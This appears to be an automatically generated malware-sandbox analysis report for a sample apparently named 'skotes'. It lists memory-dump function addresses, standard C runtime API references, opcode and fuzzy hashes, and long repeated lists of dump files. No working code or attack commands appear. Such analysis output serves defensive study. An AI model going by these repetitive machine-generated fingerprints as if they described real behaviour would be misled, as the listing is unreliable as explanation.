Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 7e32fe47e66579a21fa0290c545d40fb0418cff6cb050ecce2ea6e6497de1cfb
Instruction ID: da822d5b2b8a137f0f47d80e92db90a289cf2577ad5edaed4663700c11311765
Opcode Fuzzy Hash: 7e32fe47e66579a21fa0290c545d40fb0418cff6cb050ecce2ea6e6497de1cfb
Instruction Fuzzy Hash: 2E112175640304EBCF24EBA8CC8AFEE77AC6F04718F204515F509A60C1EB709A04C661

Function 0096A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0096A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0096A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0096A139

Strings

pScheduler, xrefs: 0096A131

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 978250d9ffe65a49bc1fdabae081ed710e0bac8a8821ec270640a9d72c3229b9
Instruction ID: c0d9410f80552fce392744c2e2588f9ec19a8f94fe4dd87bf2971df27e4180e8
Opcode Fuzzy Hash: 978250d9ffe65a49bc1fdabae081ed710e0bac8a8821ec270640a9d72c3229b9
Instruction Fuzzy Hash: FEF0E936904204A7CF20FA55DC82DAEB37C9ED2714B11C129E40567181DF71AE06CAD2

Function 0097CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0097CC66

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: efadfe54c9e70b0d6dc0c27bab602e9d9424d9b8d8426a3eaf09d19e8736dcc4
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 9CB137B39046459FDB21CF68C8817AEBBE9EF45340F18C56EE859EB382D6348D01CB60

Function 009867A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00986902
__alloca_probe_16.LIBCMT ref: 00986998
__freea.LIBCMT ref: 00986A03
__freea.LIBCMT ref: 00986A0F

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 004a5e093ade4a21dcb4afa9294f9183d0450a6f25641ebae8096a55437ead2d
Instruction ID: c1c4bd9ca6ce271cd9c637b0790abe410d25723de2c2842ed842ea60b4eb2a0c
Opcode Fuzzy Hash: 004a5e093ade4a21dcb4afa9294f9183d0450a6f25641ebae8096a55437ead2d
Instruction Fuzzy Hash: 0381A072D002569BDF25AEA48881FEF7BB99F49314F194159E818BF381E736CC44CBA1

Function 0097504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00975115
___AdjustPointer.LIBCMT ref: 00975138
___AdjustPointer.LIBCMT ref: 009751D4

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 8f7363f84a4bcff5e40e7ba9cfcf28bf51380abda259d962bf3d3fd513e13ddc
Instruction ID: f6d532873b97172f327acde8e4e98d1747cc1cbde3a9eae82d51383499670657
Opcode Fuzzy Hash: 8f7363f84a4bcff5e40e7ba9cfcf28bf51380abda259d962bf3d3fd513e13ddc
Instruction Fuzzy Hash: 6B510373609A06AFDB698F14D841B7AB3A8EF90311F56C52DE80D872A1E7B1ED40C790

Function 00974C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00974C66
TypeidsEqual.LIBVCRUNTIME ref: 00974C8B
PMDtoOffset.LIBCMT ref: 00974CA1
PMDtoOffset.LIBCMT ref: 00974D22

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
